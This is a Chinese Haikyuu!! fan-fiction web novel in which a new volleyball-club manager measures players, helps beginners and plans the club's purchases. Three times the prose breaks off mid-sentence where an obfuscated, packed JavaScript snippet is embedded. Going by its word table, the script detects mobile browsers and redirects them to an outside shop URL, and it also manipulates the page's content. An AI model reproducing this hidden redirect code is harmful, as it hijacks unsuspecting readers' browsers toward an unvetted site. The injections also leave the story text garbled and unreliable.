和前辈一起将等会儿要用的器材搬到外面后，藤原静流主动道：“夜久前辈，剩下的我来就好了，你去热身吧。” 米白色短发的自由人笑了笑：“那我去热身了，如果有什么问题可以来找我。” 夜久卫辅插入热身队伍，接连遇到的两个前辈态度都非常友善，让藤原静流心里对音驹排球部的印象不错。 简单的热身运动结束，藤原静流开始一个一个测量身体数据，同时努力将他们的名字和脸对上。 昨天体验会站在场外，藤原静流对着名单册看了半天只记住了三个人的脸，黑尾铁朗，高野康介，以及夜久卫辅，其余只记住了背号和对应的名字，背号服一脱，面对面走过来都不一定认得出来。 至于新生因为短暂交流过，藤原静流模糊有个印象，趁现在再巩固一遍。 他记忆力不错，等身高体重指高测完之后，已经将排球部的成员记了个七七八八。 最后一项是摸高测试，一直坐在后方的鹤田教练走了过来。 藤原静流了然，高度，是排球运动中非常重要的一项因素。 这里的高度指的不仅仅是弹跳，还有身高，要知道国际男排平均身高都在一米九以上，光是站在那儿就像是一堵墙。 在偏激一点的排球教练眼里，排球这项运动就是一场高度的对决，身高决定一切，如果你的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595832|187443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身高不够，很可能第一眼就被淘汰，或者被劝转自由人。 非强校的排球社团当然没有那么高的要求，但也不可避免地关注这方面。 藤原静流将伸缩杆降下，准备装上拨片开始测摸高，忽然身后传来助跑的声音，等他回过身，就听见“啪——”一声，一个穿着训练服的前辈手拍在篮板上留下了一个白色的指印。 落地后，前辈转过身对着藤原静流道：“摸高板太轻了，旁边有伸缩杆挡着活动不开，我们更习惯用篮板。” 藤原静流看着他的脸沉默两秒：“……我知道了，高野前辈。” 他将人字梯拉到篮球架边，在高野康介跳完三次后，爬上去拿着卷尺开始测量。 “高野前辈，318cm。” 【高野康介：183cm/71.5kg/237cm/318cm】 高三的前辈们率先进行摸高测试，接着是高二，每人会助跑起跳三次，取最高点。 黑尾铁朗弯腰从桶里沾了点白灰，接着后退半步开始冲刺，起跳的一瞬间，双臂向后，划出一个呈90度的弧线—— 一声低响，他的助跑充满了力量，但落在篮板上的手又意外的轻。 藤原静流注视着卷尺的目光一顿，然后嗓音平稳地报出结果：“黑尾前辈，327cm。” 【黑尾铁朗:185.2cm/72.7kg/243cm/327cm】 “哇——” 虽然在起跳的时候就有所预料，黑尾铁朗的高度明显比其他人高上一截，但听到这个数字后人群中还是传来几声惊呼。 “啧……” “海前辈，305cm。” 【海信行：174.8cm/67.2kg/220cm/305cm】 “夜久前辈，298cm。” 【夜久卫辅：163.9cm/58.7kg/212cm/298cm】 高二摸高测完，不出藤原静流所料，黑尾铁朗的确是全队摸高最高，接下来轮到新生。 “我来！” 一个嘹亮的声音响起，山本猛虎第一个站了出来。 “咚——” 山本猛虎身体腾空，手重重拍在篮板上，发出一声沉重的闷响，以及篮板在剧烈震动的颤音。 体育馆里发出一阵惊诧的唏嘘声，紧接着是前辈的怒吼：“喂喂喂，新来的动作轻点！” “你是想把篮板敲碎吗？” 山本猛虎也吓了一跳，鞠躬道：“抱歉！” 距离最近的藤原静流被声音震得表情空白了一瞬间，回过神后，他镇定地跟山本猛虎说了句小心点，继续吧。 最终山本猛虎的摸高结果是：“316cm。” 【山本猛虎：175.1cm/69.2kg/223cm/316cm】 316cm的摸高成绩，虽然比不上黑尾铁朗，但在排球部也是排行前列，再加上这个力量…… 鹤田教练的眼神明显在山本猛虎身上停留了片刻。 从目前的数据来看，山本猛虎都是目前这批新生的第一，不出意外的话，后续正选应该会有他的一个位置。 有了山本猛虎开头，新生也有序起来。 然后意外出现了，一个明显是没接触过排球的新生在测试时，手从下方划过没有碰到篮板，他落地后站在原地看起来有些手足无措，目光下意识扫过一旁双手环抱，对着这边说说笑笑的前辈，接着求助地看向同龄的藤原静流：“……那，那个……” 藤原静流适时开口：“摸不到篮板的先站到一边，等会儿我下来用摸高测量器测。” 对方感激地应了几声，转身小跑回了队伍里。 “下一个。” 孤爪研磨站在几米开外，助跑起跳的动作没有太大幅度，连手指拍在篮板上的声音都格外软。 “……他根本就没有用全力跳吧？” 面对质疑，孤爪研磨没有辩解的意思，也没有改变姿势，沉默地完成了摸高测试。 藤原静流看着篮板最下面的那一点白色粉末，说道：“研磨君，291cm。” 【孤爪研磨：167.8cm/55.1kg/216cm/291cm】 —— 5. 第五章 等所有人测试完，时间已经临近八点。 藤原静流量完最后一组数据，将体测表格交给鹤田教练，然后站在教练后面，当一个沉默的经理。 鹤田教练盯着表格看了半分钟，抬起头道：“那三个刚来的新人去测基本功，木村，你去帮忙托球。” 木村宏光，三年级生，位置二传。 鹤田教练又安排了一名三年级的部员带那些没有经验的新人，然后就让其余人自主训练。 体育馆分割成两半，孤爪研磨三人从第一项垫球开始测试，而另一边，新人抱着排球认真地看着前辈。 “昨天教的还记得吗？”前辈问道。 新人们支支吾吾说不出一句完整的话，其实姿势还是记得一点的，毕竟垫球的手型真不难，但最高才垫三个的成绩让他们不好意思点头。 三年级的前辈拍了拍排球：“那我再演示一遍垫球的手型和站姿，你们看好了。” “啪——啪——啪——” 排球有规律的上下跳动，前辈示范完垫球，然后又上前一个一个调整了他们的姿势：“外手掌对齐，手臂用力……好的，没错就这样。” “保持这个姿势。”他后退几步，“你们现在开始试试垫球吧。” 今天的结果没有任何改变，排球依旧满场乱飞。 新人们把球捡回来后见前辈没有出声，就继续乖乖站在原地练习垫球。 鹤田教练背着手看了一会儿场上的情况，忽然问道：“你觉得他们几个怎么样？” 藤原静流怔了几秒，反应过来鹤田教练是在问研磨他们，思考片刻后，他严谨地回答：“山本君的力量很出众，跳跃和技术也没什么大问题，感觉可以往主炮发展。” “福永君的滞空时间长，如果头脑和技术没有问题的话，优秀的滞空能力可以让他在面对拦网时也能想办法地得分……” 两人的基本功看起来都没什么问题，那为什么藤原静流对他们的技术评价不同？ 因为山本猛虎和福永招平的条件不一样，后者的手臂力量没有前者出众，打不出重炮的压迫感，那么就要考虑对方的手部技巧，和临场反应能不能去打处理球。 “至于研磨君……”藤原静流注视着三个新生中存在感最低的黑发少年，“他虽然看起来没精打采的，但他的二传很稳定，并且他一直在观察攻手的扣点，调整传球的高度。” 今天孤爪研磨的托球，明显比昨天的那几个和攻手配合更默契，昨天还需要攻手自己根据球路调整，今天已经能稳定托到一个相对舒服的扣点了。 分析完后藤原静流悄悄地看了眼鹤田教练，对方没有说话，他也继续当沉默的经理……等等，早训好像要结束了，我是不是要去准备水和毛巾了？ 思索三秒，藤原静流选择放弃，第一天社团的各项流程都还没有确定，早训又大多在测试根本没出汗，不用特地喝电解质水，也不需要他去准备毛巾——绝对不是因为那个运动毛巾还没有清洗过！ 基本功测试结束，没有任何意外，鹤田教练宣布孤爪三个人以后就跟着高年级的前辈们训练：“至于新生的训练……” “吉野，你和经理两个人负责。” 藤原静流没想到还有自己的事，但也不算意外吧。 刚刚鹤田教练忽然问自己的问题，他就隐隐有所察觉了。 教练一般不负责基础教导，而现在距离六月份东京IH预选赛只有两个月，排球部的正选成员需要训练磨合，准备大赛，不可能将全部时间花费在培养毫无经验的新人上——除非社团实在没人了。 或者这个新人是天生排球圣体，拥有逆天的身体素质和排球天赋，对于这种崭新的SSR卡，排球部的教练自然会重点关注培养。 不过目前来看，音驹排球部没有这个运气——讲一个非常残酷的现实，这种类型的天才哪怕之前没有接触过排球，在初次踏入这个领域时所展露的天赋也会像太阳一样耀眼。 教练和正选都有自己的事情要做，那么培养新人这件事自然是落到替补或者排球部的其他成员身上。 鹤田教练叫到名字的吉野就是三年级的主攻替补，说起来藤原静流看名单册时发现，排球部十三名成员里有一个自由人，一个二传，一个接应，二个副攻，剩下的全是主攻…… 果然每个排球部，人数最多的位置一定是主攻手。 “还有什么问题吗？” “没有。” 鹤田教练目光扫视过众人：“没有问题下午训练就给我打起精神，看看你们这两天的表现，懒懒散散的像什么样子？两个月后就是IH预选赛了，都给我打起精神！” “是！” 鹤田教练没有说话，体育馆寂静无声，所有人都大气不敢喘。 虽然藤原静流知道鹤田教练没有真的生气，这只是为了让大家赶快从假期的闲散中脱离出来的常用手段，但不妨碍他紧张……这种事情完全习惯不了啊！ ——感觉自己以后就算出社会了，再见到老师也是这副没出息的模样！ 凝重的氛围大概持续了有半分钟，鹤田教练开口：“好了，今天早训就到这里，所有人把东西收拾好再走。” “多谢教练指教！” 前辈们在拆球网，高野康介皱了皱眉，冲着站在不远处的新生喊道：“那边的新生，都傻站着干什么？还不快过来帮忙！” 新生们慌忙地四散开来，开始学着前辈们的动作收拾体育馆，孤爪研磨环顾一圈，他在排球部最熟悉的人无疑是一起长大的黑尾铁朗，但一个刚来的新生和前辈站在一起一定非常引人注目，事后还要面对一大堆人的询问…… 想到这儿，孤爪研磨心里有了决断，他走到藤原静流旁边低声道：“我帮你。” 藤原静流“嗯”了一声，将测高器和装粉末的桶递给孤爪研磨，自己则拿着体重秤和记分板：“走吧，去器材室。” “没想到啊。”看着两人离开的背影，原本还在担忧的黑尾铁朗感慨道，“研磨那么快就交上朋友了。” 其实倒也没那么快。 藤原静流感觉他和孤爪研磨还处于“相敬如宾”的状态……原谅这两个社交被动选手吧，实在很难做到在认识第二天就十分自然地和人说笑打闹。 “经理！” 山本猛虎和福永招平一前一后抱着人字梯进来：“这个东西放哪里啊？” 藤原静流往后面退了退让出位置，伸手指向最里面的角落：“靠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595833|187443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在那个墙上就行了。” “谢谢！” 后面陆陆续续有人推着排球框和器材进来，十几个人收拾起体育馆非常快，一趟就把所有器材搬完了。 两个新生在拖地，高野康介站在大门侧环顾一圈，确定人到齐后开口道：“校服不适合运动，你们的队服还要一段时间才能做好，这段时间训练你们要带运动服和鞋子，如果没有的话穿宽松一点的衣服也行，排球部活动室就在那栋平房……经理，你知道位置吧？” 他看着藤原静流问道。 “知道，前辈跟我说过。” “不知道位置的去问经理，以后有什么私人物品就放在里面，不要带到体育馆里。” “是！” “前辈，地板拖好了。” 高野康介看了一眼馆内，确定收拾干净之后说道：“把清洁工具放回原位，解散吧！” “藤原，孤爪！”前辈们的背影消失在视野之内，作为在场社交技能最高的山本猛虎瞬间活跃起来，他十分自然地拿出手机，“以后都是同一个部的，我们几个加个Line吧？有什么事情也方便联系！” 作为经理，藤原静流必须拥有所有部员的联系方式，以便联络，因此他没有犹豫，和另外几人加了Line。 “那个，经理，刚刚摸高测试的时候谢谢你。”样貌看起来沉默老实的男生借着交换联系方式的间隙小声说道，“还要麻烦你陪我重测一次，真是不好意思……” 藤原静流花了两秒钟，将对方的脸和名字对上：“间塗君不用客气，这是身为经理应该做的。” 间塗护将手里的纯净水递过去：“我注意到你好像没带水杯……这个给你。” 藤原静流注意到对方紧张的表情，迟疑一秒后笑着接过纯净水。 “你们几个在聊什么呢？”换完衣服的黑尾铁朗十分自然地插入话题，“方便带我一个吗？” “黑尾学长！” 几人齐刷刷地开口，孤爪研磨嘴唇动了一下，没有出声。 “研磨。”黑尾铁朗凑过来，“活动室没什么人了，你快去换衣服吧，小心迟到。” “黑尾学长，你们认识？” 面对其他人探寻的眼神，黑尾铁朗大大方方地揽住孤爪研磨的肩膀承认：“嗯，我们可是幼驯染啊！” “哇哦——” 孤爪研磨身体一抖，在众人的惊叹声中狼狈地低下头，用长发遮住了脸，然后迅速侧身脱离人群。 “小黑，我去换衣服了。” 看着这一幕，藤原静流意外get到孤爪研磨留长发的原因，不得不说还挺好用的，学到了。 研磨离开了，剩下的新生和前辈不熟悉，也不好开玩笑询问，陆陆续续出声告别，体育馆门口转眼间就只剩下两人。 黑尾铁朗和藤原静流还要回一趟活动室，两人并肩走在走廊上，后者秉持着早加晚加都要加的原则拿出手机：“黑尾前辈，我们加个Line吧。” “嗯。” 刚同意申请，对话框里就出现一张笑眯眯的猫咪表情包，紧接着就是一句：“以后请多指教了，经理。” “这句话应该是我来说，未来请多指教，前辈。” —— 6. 第六章 下午放学，藤原静流和孤爪研磨没有磨蹭直接来到活动室，前者想清点一下社团物资数量，后者想趁着人少赶快把衣服换好。 藤原静流蹲在存放排球部日常物品的储物柜前，从最下面一格开始往上看，两箱纸质资料，训练背号服，收纳篮，计分板，塑料盆，打气筒，哨子，旗子，半盒拆封的笔，乱放的档案…… 电解质粉还有两袋，是运动社团常用的规格品牌，生产日期还是新的，他又拆开装着运动毛巾的塑料袋检查，白色的毛巾角落有一点点泛褐色，要考虑更换了，唔，没有看见洗涤剂…… 藤原静流粗略看了一遍，将物品数量写在本子上。 “我换好了。” “我也好了。” 藤原静流起身，经理不需要换运动服，不过等队服做好要换队服。 活动室陆陆续续有人进来，孤爪研磨和藤原静流正准备退出去，就听见有人嚷嚷了一句：“这是什么？！” 循着声音看过去，只见对方从储物柜里掏出一大坨灰色的网状编织物。 这是——球网？ “啊，这应该是上学期坏掉的那个球网，我还以为是谁顺手扔了，没想到被人放到这里来了。” “坏掉的球网吗？”藤原静流停下脚步，“先放在这吧，我等会儿去扔掉。” 社团人多了东西就容易混，特别是运动类社团，训练一天大家都很累只想早点休息，打扫时不尽心，东西偶尔乱放是常有的事，这也是为什么要设置经理这个位置的原因。 看来还要抽时间收拾一遍活动室。 藤原静流将这件事放入待办表，先和其他人一起到体育馆集合，等成员开始训练后再返回活动室，储物柜里的东西闲置半个月，用之前要清洗一下。 他带着收纳篮前往卫生间，顺路把那个坏掉的球网给扔了。 开学第二天，排球部的训练量不会太大，可以不在饮用水里添加电解质粉，等后续训练量上去，或者天气热的时候才需要日常准备电解质水。 拎着灌满的水杯回到体育馆，藤原静流长吁一口气，今天下午大半时间他都在体育馆，活动室，卫生间三个地方折返，但事情反而越做越多。 洗了收纳篮就想把柜子也洗一遍，既然要清洗柜子，里面的东西肯定要重新整理归纳…… 打住！ 藤原静流闭上眼，强行忍住了清洗柜子的欲望。 不能再想了，再想下去，今天就不用回家了！ 藤原静流不喜欢收拾到一半被打断，要么就别开始，开始了就要做完，平日肯定来不及，那么只能等休息日了。 好的，这下不用纠结了，等会儿训练结束，找黑尾铁朗还部活日志的时候，问一下他们的加训时间吧。 注意到有人朝这边走过来，藤原静流停下发散的思维。 现在是自主训练时间，间塗护弯腰拿起水杯，没有打开喝，而是语气迟疑地问道：“藤原君，你会打排球吗？” 藤原静流会打排球，这是一开始新人互相自我介绍时就提到过的。 他看了一眼正在和朋友闲聊的吉野：“会一些，不过比不上前辈们。” 前辈在运动社团里一般担任领路人的职责，因为教练一般不负责基础教学，更多的是负责技术指导，纠正学生的错误，以及比赛时的战术安排，因此教新人基础这部分就由提前加入社团的前辈负责。 如果社团的前辈负责任，那新人只要认真跟着学就行了，如果前辈不负责任，对教学任务敷衍了事……好像也没什么太好的办法。 这种情况在各种社团都非常普遍，不算多，但也不算少，如果是严厉一点的教练看见后可能会提醒，但一般治标不治本…… 毕竟这里是高中社团，不是什么强化集训营，哪怕是排球强校，你也无法保证每个人都对排球抱有最纯粹的坚持和热爱。 有人愿意为这项运动付出100%的汗水和努力，自然也有人抱着“这只是一个社团活动”的心态得过且过。 当然，你要是想努力学总有办法，就看你能不能为之付出努力，并坚持下去。 吉野凉平介于两者之间，该教的动作他会教，不算不负责任，但也没对新人多上心。 而相比起找陌生的前辈，他们更倾向于询问与自己年龄相仿的人——更何况鹤田教练当时是指明让吉野前辈和藤原静流两个人负责，这也不算冒犯。 藤原静流询问：“间塗君是有什么问题吗？” 间塗护一边比画一边讲述自己遇到的问题：“前辈示范了几遍……但我自己垫球的时候发现手臂并不拢，排球老是垫飞。” 藤原静流注视着他的动作，耐心道：“……手臂并不拢就并不拢，只要记住一定要绷直，然后不要让手型错位，两只手的手掌内侧和外侧一定要贴紧。” “刚开始垫飞，找不到感觉是很正常的，慢慢来。” 藤原静流没有反复强调身体核心协调发力之类的话，因为同样当过新人的他明白，对于没怎么接触过运动的人来说，就算听懂了也不知道怎么做—— 如果一个技术为零的新人看几遍示范，独自练习一会儿就能学会，那这球感和身体素质得多逆天啊？ 总之藤原静流没遇见过这样的新人，也幸好没遇见过，不然他要骂人了。 大部分人都是在反复地练习和实践过程中一点一点调整，而这个过程怎么说呢，反正在藤原静流看来非常枯燥无聊。 但基本功是一项运动的基础，是想要打好球一定要练好，无法逃避的过程。 这也是为什么那么多人倒在了开头，就像现在，很多新人练了一会儿垫球就频繁往前辈那边看，不过藤原静流也明白，那些帅气的扣杀对新人的吸引力有多大！ 毕竟他刚开始接触排球的时候，同样迫不及待地想着学一些热血沸腾的技能。 藤原静流记忆力不错，很多技巧看了几遍就记住了——但也就脑子记住了，他的四肢跟刚安装的一样完全不听使唤。 好吧，骗你的，其实跳起来后，他的大脑一片空白刚记下的动作基本忘完了。 对此教练评价，还是练得少了。 然后大手一挥，让藤原静流的训练量提升三分之一。 迄今为止大半人生都是个缺乏运动的私斋的藤原静流：“……” 他忽然感觉自己不是没了热血，而是在当时燃尽了。 藤原静流一边在心里吐槽，一边指导回答新人的疑问。 黑尾铁朗做完扣球训练，转头看见这一幕发出感慨：“怪不得你们老是念叨要招经理，我之前还不理解……现在看来有一个经理的确不错。” 其他人：“……” 你的需求，我的需求不一样，我们那要的是女经理！ 没有说藤原静流不好的意思，单看对方的垫球示范，就可以看出他的排球基本功没有什么问题，虽然不熟悉经理的业务，但做起事情来也井井有条，只是……只是如果可以！他们还是想要一个女经理啊！！！ 想到一点踪影都没有的女经理，山本猛虎就悲从中来，嚷嚷着坚持啊青春啊，啪的一下把球扣飞了。 站在对面接球的夜久卫辅连动都没有动：“哇哦，一个漂亮的全垒打。” “山本！排球是让你扣对面场地上，而不是扣对面观众脸上！” “抱歉！” 训练结束，部员走到经理身边拿水杯和……纸巾？ “抱歉，储物柜里的运动毛巾有些泛黄发霉了，暂时不能使用。” 听到藤原静流的解释，主将高野康介忽然想到什么，嘱咐道：“经理，等会解散后先别走，留下来开个会。” “我知道了，前辈。” 训练结束接下来就是收拾体育馆，基本由一、二年级负责。 得益于在日本社会根深蒂固的前后辈制度，这一幕在日本学校，乃至职场都非常常见，刚来的后辈负责脏活累活，对前辈毕恭毕敬，是一件理所应当的事情，没有人会对此感到疑惑——不过私底下想什么就没人知道了。 藤原静流等高野康介和黑尾铁朗换完衣服后，跟在他们两人后面进了小会议室。 高野康介率先开口：“新的学期开始，排球部的很多日常用品都要准备采购，按照之前的流程我们会制定好采购单后，再指定部员负责，现在……” 他问：“经理，你一个人能搞定吗？” 藤原静流的回答非常官方：“我会努力的。” “倒也没有什么特别难的，采购表我们会一起制定，经理你照着买就行了。”以防万一，黑尾铁朗补充，“要是过程中有什么不懂的，或者不确定的一定记得联络我们。” 社团采购是大事，部长和经理商议制定好计划表后，需要再由监督或者教练盖章签字，才能拿到部费采购报销。 整个流程非常烦琐，高野康介态度也很严谨：“那么接下来我们先整理一下需要采购的物资，还有上个学期的物品剩余数量……” 说到这里，他看了一眼藤原静流，而后者将随身携带的笔记本摊开放在桌子上：“前辈，我下午训练之前已经清点过了，这是排球部上学期剩余物资数量。” 高野康介动作一顿，他来得有点晚，恰好没看见藤原静流清点物品的场景。 黑尾铁朗拿过笔记本扫了一眼：“不错啊，记录得很详细。” “既然经理已经清点过了就好，正好省得再跑一趟。” 至于社团需要采购的物品，每个学期都差不多，高野康介拿出上学期的采购表，三人以此为基础，讨论本月需要采购物品的数量和价格，以及需要花费的总金额。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595834|187443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根据高野康介所述，东京都立音驹高等学校每个学期给排球部拨款两万日元。 这两万日元是学校根据每个社团的综合情况给予的拨款，当然，一个学期两万日元是肯定不够的，毕竟排球部有十几个人，这些钱只能社团的基础保障。 如果某个社团在比赛中获得好名次，学校自然也会加大拨款配额，并且给予专项补助。 ——目前音驹排球部肯定是不符合这个条件的。 部费的主要来源还是成员缴纳，这也是为什么社团积极招新的原因，音驹排球部的每人一个月需要缴纳2000日元，不满一个月1000日元——不包含服装费用。 物资采购，设备维修，以及合宿集训，比赛报名交通住宿的钱都是由部费报销。 音驹排球部的常用物品都是十分大众亲民的品牌，藤原静流将昨天在百货商品和超市看到的商品价格和照片放在采购表旁边：“这是我昨天去两个商场记录下的部分物品价格。” 高野康介和黑尾铁朗两人显然没想到，藤原静流居然提前去商场考察过了！ 实际上不仅考察过，藤原静流还计算了一遍消费金额。 排球部目前有十九人，如果这个人数后续没有变动的话，一个月缴纳部费共有38000日元。 乍一看还不少，实际上光功能饮料这一项，经藤原静流按照目前人数计算每个月就要耗费缴纳部费的三分之一左右——具体根据训练内容和天气浮动。 这还是买740g的整袋装的——那种单支盒装的电解质粉，虽然携带使用起来方便，但单支13g要45日元，而前面740g整袋装只需要800日元左右，在同等重量下，买单支盒装的钱都够买三个整袋装了，这么一对比超级不划算！ 恰好藤原静流昨天去商场的时候，看见宝矿力水特正在做开学季促销活动，消费满500日元，或者购买规定饮料送水杯……嗯，谁能拒绝“免费”这两个字带来的诱惑力？ ——话说回来，这就是漫画里所有人都用同一款式水杯的原因吗？ 藤原静流按计算机的手一顿，思考几秒后确定，是的，没有人能拒绝免费的诱惑。 “藤原，你之前真的没有当过经理吗？” 黑尾铁朗看着工整明了的商品价格表，忍不住赞叹道，他甚至还贴心地做了不同商店物品的价格对比欸！ “没有。”藤原静流语气淡定地说，“我只是觉得可能会需要。” 觉得可能需要就会提前做好准备吗…… 三人对着藤原静流统计的商品表，和上学期的价格进行对比，部分物品有细微的波动，但大体没什么差别，属于正常现象。 “就按这个价格来吧。”高野康介拍板，“这次的采购表还是我来做，经理，你明天记得抽个时间去教职办公室，拿着表格找监督签字，然后向学生会申请这个学期的部费。” 现在社团招新还没结束，因此第一次采购的钱是从学校给予的部费里支出。 “你这几天下午主要负责采购物资，不用特地来体育馆报到——啊对了，记得保留购物发票。” 藤原静流“嗯”了一声，接着提起另一件事：“高野前辈，排球部的训练服是统一送洗，还是由队员自己带回家清洗？” “训练服？”高野康介想了想，“都是由队员自己带回家清洗的……” “排球部训练量大，很多队员会顾不上这些小细节，还是规定个时间统一送洗吧。”黑尾铁朗投了送洗一票，转头道，“就是麻烦经理了。” “没关系，这是经理应该做的。” 藤原静流其实也觉得统一送洗好，不然也不会主动提起。 听到黑尾铁朗的话，高野康介想到了夏天的活动室，没有犹豫，他点头同意：“这样也好，那就挑个时间统一送洗吧。” 三个人讨论了一下，决定一个星期送洗两次，分别是星期二下午活动结束后，和星期五下午活动结束。 要是有的部员爱干净，也可以在社团活动结束后，将训练服自行带回去清洗。 然后藤原静流的行程表上又多了一项，勘察学校附近的洗衣房，环境卫生，用的什么洗涤产品，还有价格都需要弄清楚。 因为藤原静流的提前准备，这次采购会议一路畅通无阻，藤原静流的态度连高野康介都挑不出错，黑尾铁朗更是非常满意。 会议结束，藤原静流叫住了黑尾铁朗将早上借的部活日志归还，然后询问：“前辈，我听鹤田教练说，你们周末会加训？” “是啊，藤原，你要来吗？” “嗯，我准备趁着休息日收拾一下活动室。” “那正好，藤原你和新生更熟悉一些，帮我问问有没有要加训的人——周末训练时间是早上九点，记住不要迟到啊。” —— 7. 第七章 “研磨，会议开完了，我们回家吧！” 黑尾铁朗找到躲在树下打游戏的孤爪研磨，将人拉起来往地铁站方向走。 “第一天训练还好吧？” 哪怕在走路，孤爪研磨依旧没有关掉游戏机，他的眼睛盯着屏幕，听到这句话慢吞吞回道：“……比国中时累上好多。” 孤爪研磨没说，他国中的排球部人数刚刚好，而音驹排球部人很多，面对那么多陌生人，他……有点无所适从。 “高中的训练量肯定比国中大。”黑尾铁朗话音一转，“星期五下午会安排一场队内练习赛，教练应该会让你上场。” 虽然措辞用的应该，但他的语气很笃定。 “其他人呢？” 黑尾铁朗知道他指的是另外两个新生：“山本和福久不确定上不上场，排球部现在不缺主攻，具体看教练的想法吧。” IH预选赛在即，排球部重心都放在已经磨合了一段时间的正选身上，之所以黑尾铁朗会笃定孤爪研磨会在练习赛上场，是因为他是二传。 排球部首发，也是唯一的二传是三年级的木村宏光，考虑到IH赛后三年级退部，以及正式比赛可能会出现的意外，孤爪研磨这个二传是必定成为正选的——但按照黑尾铁朗对鹤田教练的了解，研磨大概率是替补。 至于数量较多的主攻人选就没那么着急了……除非刚加入的新人实力甩了那些正选几条街。 鹤田教练是在猫又教练引退后，被学校调遣过来指导排球部的，本职是音驹的体育老师。 他上任后并没有更改猫又教练的教学方案，音驹依旧维持原本的风格，只是成绩没有前些年那么出色。 同一个社团难免有位置冲突，鹤田教练也并不拘泥于什么前后辈，不会让真正有实力的人坐在冷板凳上……任命黑尾铁朗为副主将就是一个很好的证明。 但在实力相差不大的情况下，鹤田教练会更偏向让高年级的上场。 山本猛虎和福永招平目前表现出的实力不错，但还没有达到让教练换下正选的程度，因此这次练习赛他们大概是不会上场的。 Line上收到藤原静流统计的新生加训意向名单，黑尾铁朗边回复边问：“我周末要和夜久他们加训，研磨，你要不要一起？” 孤爪研磨脸上露出轻微的抗拒：“平日里不是已经在训练了吗？” “IH预选赛快开始了，二月份新人赛音驹的成绩很糟糕……” 面对黑尾铁朗的卖惨，孤爪研磨态度冷漠：“小黑，我预选赛不上场。” 黑尾铁朗改变策略：“参加训练的也不全是正选啊，山本福久，还有经理他们都来——更何况排球部的大家都很期待和你打比赛！” 孤爪研磨心里有不祥的预感：“小黑，你说了什么？” “就实话实说呀，我那个超级聪明的参谋二传幼驯染要来音驹！” 孤爪研磨炸毛：“？！！” “哈哈哈哈，其实只是和他们说了一些以前打排球遇见的事，还有你下达的战术，他们对你很好奇。” 黑尾铁朗在幼驯染眼前晃悠：“研磨！来吧，来吧……” “等等——小黑别动！” 孤爪研磨成功在悲剧酿成之前按下暂停键，然后缓缓抬起头。 罪魁祸首一脸无辜，完全没有认识到自己的错误，甚至还继续道：“三年级的不在，你们应该会更放松一点吧，这可是一个刷好感度的好时机。” “……现实又不是GalGame，待在一起好感度就会上涨。” 如果真的是这样就好了——游戏大神孤爪研磨叹了口气。 抱怨归抱怨，最后他还是没有拒绝。 “经理参加是为了收拾卫生吧。” “欸？” “今天下午，他站在储物柜前的表情好像要用消毒水把活动室淹了。” 黑尾铁朗想到那个场景一乐，接着有点好奇：“话说爱干净的人是不是性格都格外认真，做起事来井井有条？” “别的人我不知道，经理……”孤爪研磨想了想，“他大概是为了不出错吧。” 前面是红绿灯，黑尾铁朗拉着孤爪研磨停下，随口问道：“你觉得藤原怎么样？” “唔……不错？” 孤爪研磨回忆起这两天的相处，藤原静流的人品肯定是没什么问题的，性格倒是和第一印象有点差距——看起来很好相处，实际也是，但在行为举止里能感觉到微妙的距离感。 就像藤原静流自己说的那样，“握手是基本社交礼仪。” 他的很多行为是出自礼貌，不代表他们的关系有多亲密。 如果放到游戏里，藤原静流就像是那个新手玩家开局遇见的引导型的友善角色？ 话说这种人设的角色在亲密接触后都会暴露出和刚开始印象完全相反的一面，比如什么表面彬彬有礼的前辈，实际上是恶劣傲娇的大小姐……现在市场还蛮流行这种反差感的。 别说，还真别说，这么时髦的元素藤原静流还真能蹭上点，当然不是什么傲娇系，这放到现实有点太超过了。 众所周知，外界对二次元这一群体的刻板印象就是缺乏社交能力的私斋，而藤原静流也没能完全逃过这一定理。 严谨一点说，藤原静流不讨厌社交，但讨厌让自己感到不舒服的社交——而主动和陌生人交聊就会让他感受到轻微的不舒服。 当然不是厌恶，而是抗拒双方不熟悉所产生的那种……微妙的氛围。 这也是为什么他说自己是社交被动型选手的原因，在非必要的情况下——比如排球部经理必须认识每个部员。藤原静流一般不会主动与陌生人进行交流。 毕竟和一点都不了解的人进行社交，万一被无视，说错话，或者不知道该聊什么，没有共同话题冷场了该怎么办？ 单是想到那个场景，藤原静流就感到窒息，此时此刻，他的想法和孤爪研磨高度统一，如果现实和游戏一样就好了。 可惜现实不是游戏，没有完全正确的选项，也没有回档按钮——但该死的，这个地球online在聊天不小心说错话的时候，好感度下降的画面却如此直观！ 秉持着还是不要自己折磨自己的想法，开学时藤原静流只犹豫了几秒，就放弃了主动找新同学聊天的想法。 如果不是黑尾铁朗和排球部，藤原静流和孤爪研磨大概能 